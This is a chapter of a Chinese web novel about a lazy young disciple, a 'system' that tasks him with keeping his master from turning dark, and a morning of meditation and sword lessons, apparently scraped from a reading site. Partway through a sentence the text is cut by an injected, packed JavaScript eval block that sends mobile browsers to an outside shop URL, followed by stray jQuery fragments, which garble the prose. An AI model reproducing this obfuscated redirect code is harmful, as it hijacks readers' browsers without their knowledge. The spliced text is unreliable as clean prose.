默认冷灰
24号文字
方正启体

6. 第六章

作者:随霄本书字数:K更新时间:
    容归走后,孟清涯把自己裹成了一个茧。他从被子的这一头滚到那一头,又从那一头滚回这一头,上好的被面被他折腾得皱巴巴的。


    安静了好一会儿,然后那团被子猛地被掀开一角,露出一张气鼓鼓的小脸。孟清涯的头发已经滚得乱七八糟了,乌黑的长发散落在枕上,发间的玉坠歪到了一边,几缕碎发黏在脸颊上衬得那张脸越发白嫩,也越发显得气呼呼的。


    “哼!”孟清涯重重地哼了一声,把被子又拉上来盖住半张脸,只露出一双眼睛在外面。那双眼睛瞪得圆圆的,恶狠狠地盯着头顶的帐幔,眼底写满了委屈和不忿。


    “师尊真讨厌,”孟清涯小声嘟囔着,声音闷在被子里嗡嗡的,“以前都不管我修不修炼的,现在突然就要我明天开始,还要全程监督……我又不是不修炼,就是……就是缓修、慢修、有节奏的修……”


    他说着说着声音就小了下去,自己也觉得这个理由不太站得住脚。孟清涯确实不太爱修炼,自从容归不怎么管他修炼之后孟清涯便越来越懈怠。小时候还每日扎扎马步、练练吐纳,后来容归看他实在不喜欢,便也由着他去了,只把一些基础的功法和心法教给了孟清涯,让他自己看着办。


    孟清涯自己看着办的结果就是——办了几天就不办了。


    就在孟清涯郁闷地准备睡觉时,忽然听见识海里传来一个声音。


    “宿主?”


    孟清涯愣了一下,随即反应过来是那个叫系统0621的家伙。


    “0621?”孟清涯在心里默念了一声,“你去哪儿了?”


    系统0621的声音听起来有些疲惫:“我回了一趟快穿局。”


    孟清涯眨了眨眼,手指无意识地绞着被角,有些紧张地在心里问:“快穿局就是你的门派吗?你是去想办法了吗?”


    “差不多吧,”系统0621应了一声,声音里带着一丝不易察觉的沮丧,“我把这边的情况和我老大1228汇报了一下。”


    系统0621:“我跟1228商量了一下,觉得我们之前定的那条路还是可行的——从‘洗白反派’变成‘攻略反派’,你负责阻止你师尊黑化,我们快穿局尽可能提供一些帮助,当然这些帮助需要你做任务拿积分来换。”


    孟清涯连忙问:“那我该怎么做?”


    “经我们快穿局检测,你师尊容归目前可能黑化值为100%,也就是他在未来的某一天一定会黑化,咱们要尽量把这个数值降为零。”


    孟清涯的手指攥紧了被角,他躺在那里安安静静的,像一尊被月光浸透了的小瓷人。


    “我明白了,我会努力的。”孟清涯悄悄抹了两下眼泪,声音有些哽咽。但还是强撑着让自己看起来十分平常。


    其实那天0621说的很多东西孟清涯都没彻底明白,但他还是抓住了最核心的点。


    师尊生病了,这个黑化就是一种病,未来病到最严重的时候师尊便会入魔伤害他自己。


    生病的师尊需要照顾,现在他是这个家唯一健康的人了,必须要坚强,必须撑起寒镜山,不能轻易倒下。


    *


    第二日,天还没亮孟清涯就被一阵窸窸窣窣的声音吵醒了。


    他迷迷糊糊地翻了个身把脸埋进枕头里,含糊地嘟囔了一声“再睡一会儿嘛”,声音黏黏糊糊的。


    可那窸窣声并没有停下来,反而离他越来越近,最后一个毛茸茸的东西蹭上了孟清涯的脸颊。


    “嘎嘎!水水!起床了嘎!仙尊说今天要修炼嘎!”


    小粉的声音尖锐又聒噪,在孟清涯耳边炸开来。孟清涯的眉头皱了一下,又皱了一下,然后猛地睁开眼睛,对上了那双凑到眼前的黑豆一般的鹦鹉眼睛。


    “小粉!”孟清涯被吓了一跳,整个人往后缩了一下,后脑勺磕在床板上,疼得他“嘶”了一声,眼眶立刻泛了一层薄红。


    “嘎嘎!水水你没事吧嘎!”小粉扑棱着翅膀落在他胸口,拿小脑袋蹭他的下巴,黑豆眼睛里满是关切。


    孟清涯揉了揉后脑勺,正要说话,余光忽然瞥见门口站着一个人。


    晨光从门外透进来,薄薄的,淡淡的,像是被水稀释过的金色。容归就站在那片薄金色的晨光里,一身天蓝色的衣袍,乌发以白玉簪束起,整个人像是从晨雾中走出来的仙人,清冷出尘,不沾半点烟火气。


    当然,前提是忽略他手中端的一碗粥。


    热气从碗口袅袅地升起来,在晨光中缭绕成一片薄薄的雾。


    容归的目光落在孟清涯那颗被磕到的后脑勺上,眉头微微蹙了一下,走过来把粥放在榻边的小案几上,然后拨开孟清涯后脑勺上的发丝瞧了瞧他刚刚撞到的地方。


    所幸只是轻微磕碰,并无大碍。不过孟清涯被他养得娇气,一点小痛都能在容归面前揪着不放。


    “师尊我的头撞疼了有点晕,刚起床就撞到了,看来这不是一个好征兆啊,今天肯定不宜修炼!”孟清涯揪着容归的袖子撒娇。


    容归闭了闭眼,在心里默默告诫自己:撑住,不要在徒弟的撒娇攻势中败下阵来。


    “吃饭。”容归把碗递过来。


    孟清涯低头一看,是一碗温热的已经熬到浓稠开花的粥。他伸手接过碗小口小口地喝起来,粥的温度刚好一点都不烫嘴,暖融融地从喉咙一路滑到胃里,把早起的那点困倦都驱散了。


    小粉蹲在孟清涯肩头歪着脑袋看他喝粥,时不时“嘎”一声,像是在催促他喝快一点。


    喝完粥,孟清涯把碗递还给容归,然后仰起头露出一张被粥的热气熏得微微泛红的小脸。他的眼睛还带着初醒时的一层薄薄的水光,长睫毛上沾着一点水汽。


    “师尊,”孟清涯的声音软绵绵的,“我喝完了。”


    容归点了点头,将碗放在一旁的矮几上,然后站起身。


    “走吧。”


    孟清涯的嘴巴瘪了一下,看来卖萌也没有用,不过他还是乖乖地从被子里爬出来。


    小粉从孟清涯肩头飞起来在殿内转了一圈,然后落在他发顶上,拿爪子扒拉了两下孟清涯被睡得乱七八糟的头发,像是在帮他整理。


    孟清涯伸手把小粉从头顶上拿下来放在一旁的架子上,然后自己拿起梳子开始梳头发。他的头发又长又密,昨晚跟容归赌气,睡觉时没有把那些发饰摘下来,睡了一夜之后有些都和头发紧紧缠在一起。


    梳子卡在发尾梳不下去他便有些着急,手上用了些力气扯得头皮生疼,眉头皱起来,嘴里“嘶嘶”地抽着气。


    容归叹了口气,连忙走过来从他手里把梳子抽走。


    “坐下。”容归说。


    孟清涯乖乖地坐在梳妆镜前背对着容归,那双修长的手先是不急不缓地把孟清涯头上的发饰都摘下来,随机轻轻拢住他的头发,从发顶开始一缕一缕地往下梳。


    容归的动作很轻很慢,梳子卡住的时候便停下来用手指把那几


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17374915|200047||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    缕缠在一起的发丝轻轻分开,再继续往下梳。


    从两岁时的小揪揪到如今的如瀑长发,很长一段时间内孟清涯的头发一直都是容归梳的,只是最近几年孟清涯长大了,自己梳的次数便多了起来。


    孟清涯坐在那里,感受着容归的手指穿过自己的发丝,偶尔蹭过头皮,带着微微的凉意。他整个人都放松了下来,像一只被顺毛的猫,眯着眼睛嘴角微微翘起来。


    梳好头发,容归又替他将那些细碎的玉坠和银铃一一别在发间,动作娴熟而自然。银铃在晨光中发出细碎的叮铃声,清脆又好听。


    “好了。”容归说。


    孟清涯转过身,心中哀叹了一声快乐的时光总是短暂的,便起身跟着容归离开。


    后山。


    孟清涯盘腿坐在青石上,双手放在膝盖上,闭上眼睛开始打坐吐纳。


    清晨的山风从林间吹过来,带着花香和草木的清气,凉丝丝的,扑在脸上让人觉得神清气爽。孟清涯的呼吸慢慢地变得均匀而绵长,胸口的起伏也越来越浅。


    容归站在青石旁边,负手而立,安静地看着他。


    日光从东边的山巅上一点一点地升起来,把整个后山都染上了一层暖融融的金色。花瓣上的露珠被日光照得晶莹剔透,偶尔有一滴滚落下来落在青石上,发出极细微的“啪嗒”声。


    孟清涯仅仅打坐了大约一炷香的时间便开始有些坐不住了。他的眉头微微皱起来,嘴唇抿了抿,身子轻轻地晃了一下,又晃了一下,像一棵被风吹动的小树苗。他偷偷地把眼睛睁开一条缝,往容归站的方向瞄了一眼。


    容归还站在那里,身姿如松,目光平静地落在孟清涯身上。


    孟清涯连忙把眼睛闭上,装作什么都没有发生的样子继续打坐。


    又过了一炷香的时间,孟清涯终于忍不住了。


    他睁开眼睛,仰起头望着容归,露出一张写满了“我好无聊”的小脸。


    “师尊,”孟清涯的声音带着显而易见的撒娇意味,“还要坐多久啊?”


    容归低头看着他:“静心。”


    孟清涯瘪了瘪嘴:“我很静心了,可是真的好无聊啊师尊,能不能换个别的练练?”


    容归沉默了一会儿,他知道孟清涯的性子,能老老实实地坐上一炷香的时间已经是给了自己天大的面子了。再逼下去,这只小猫怕是要炸毛了。


    容归想了想,开口道:“那便换个别的。”


    孟清涯的眼睛瞬间亮了起来,像是被点燃的两盏小灯:“换什么?”


    容归看着他,浅珀色的眼睛里似乎有什么东西在微微闪烁,然后说:“水水长大了,也可以开始学武器了。”


    孟清涯歪着脑袋看着容归,一副洗耳恭听的模样。


    容归的手微微一抬,手中戒指亮了一下,一道清光从储物戒指中飞出,在他手中凝成一柄长剑。


    剑身修长,通体莹白,剑脊上隐隐有流云纹路,天蓝色的剑穗在晨风中轻轻飘动。


    整柄剑安静地躺在容归掌中,却隐隐有一种令人心折的锋芒,像是沉睡的蛟龙,只等主人一声令下便要冲天而起。


    这是容归的本命剑,霜寒。


    容归握着霜寒,低头看着孟清涯,眼底带着一丝他极少流露出来的近乎期待的情绪。


    “水水,”容归的声音比平日更轻了几分,像是在小心翼翼地抛出一个藏了很久的念头,“要不要跟师尊学剑?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)